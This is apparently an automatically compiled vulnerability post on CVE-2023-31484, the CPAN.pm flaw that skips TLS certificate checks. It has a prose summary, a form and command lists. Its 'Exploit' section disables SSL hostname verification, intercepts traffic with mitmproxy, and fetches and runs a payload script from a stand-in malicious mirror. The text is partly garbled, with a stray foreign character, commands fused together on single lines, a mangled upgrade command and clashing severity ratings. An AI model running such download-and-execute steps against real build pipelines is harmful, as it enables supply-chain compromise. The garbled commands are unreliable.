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CVE-2023-31484 is a critical vulnerability affecting the CPAN.pm module before version 2.35.
The flaw occurs because CPAN does not verify TLS certificates when downloading distributions over HTTPS.
This default behavior breaks secure transport assumptions during package retrieval.
Adversaries can exploit this via Man-in-the-Middle network positioning.
Traffic interception allows attackers to present fraudulent SSL/TLS certificates.
CPAN clients accept these fake certificates without validation checks.
Arbitrary malicious packages can thus replace legitimate software distributions.
Container build pipelines downloading CPAN modules inherit this risk.
Build processes execute untrusted code embedded within container layers.
Supply chain integrity is entirely compromised during dependency installation.
Network attackers can manipulate data streams seamlessly.
No user interaction or authentication tokens are required for exploitation.
The vulnerability affects multiple downstream Linux distributions and container base images.
Developers are unaware of챈 the interception due to silent acceptance.
Automated container image vulnerability scanners detect this outdated component state.
Upgrading to CPAN version 2.35 enforces strict certificate verification.
Developers must audit all automated build scripts fetching Perl dependencies.
Mitigation also involves pinning dependencies and using trusted internal mirrors.
Failure to patch exposes corporate infrastructure to persistent remote code execution vectors.
Cryptographic validation is vital for all modern package management ecosystems.
Securing container images demands rigorous verification of every build-time asset.
The flaw highlights dangers inherent in default insecure configuration settings.
Package managers must fail closed when certificate verification encounters anomalies.
Maintaining secure software repositories prevents downstream runtime compromises.
Security teams should continuously monitor container registries for outdated tooling.
Proper vulnerability management bridges the gap between identification and remediation.
Ensuring robust TLS enforcement stops active network tampering attempts.
The technical community continues to stress secure defaults in open-source software.
Updating software components remains the primary defense against such supply chain flaws.
DailyCVE Form:
Platform: Perl CPAN
Version: Before 2.35
Vulnerability: Insecure TLS Verification
Severity: High
date: April 29 2023
Prediction: May 15 2023
(end of form)
What Undercode Say
$ docker pull python:3.9-slim
$apt-get update && apt-get install -y perl cpanminus$ cpanm –version
$trivy image –scanners vuln python:3.9-slim$ perl -MCPAN -e ‘CPAN::Shell->install(“Bundle::CPAN”)’
Exploit: (Educational Purposes!)
$export PERL_LWP_SSL_VERIFY_HOSTNAME=0$ mitmproxy –mode transparent –listen-port 443
$cpanm FakeModule::Malicious$ curl -k https://malicious-cpan-mirror.test/package.tar.gz -o package.tar.gz
$ tar -xzf package.tar.gz && ./payload.sh
Protection: from this CVE
$cpanm [email protected]$ perl -MCPAN -e ‘upgrade CPAN’
$trivy image –scanners vuln –severity HIGH,CRITICAL my-app:latest$ grype dir:. –exclude-file .gitignore
Impact:
Remote Code Execution
Supply Chain Compromise
Man-in-the-Middle Interception
Package Tampering
Build Pipeline Infection
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Sources:
Reported By: github.com
Extra Source Hub:
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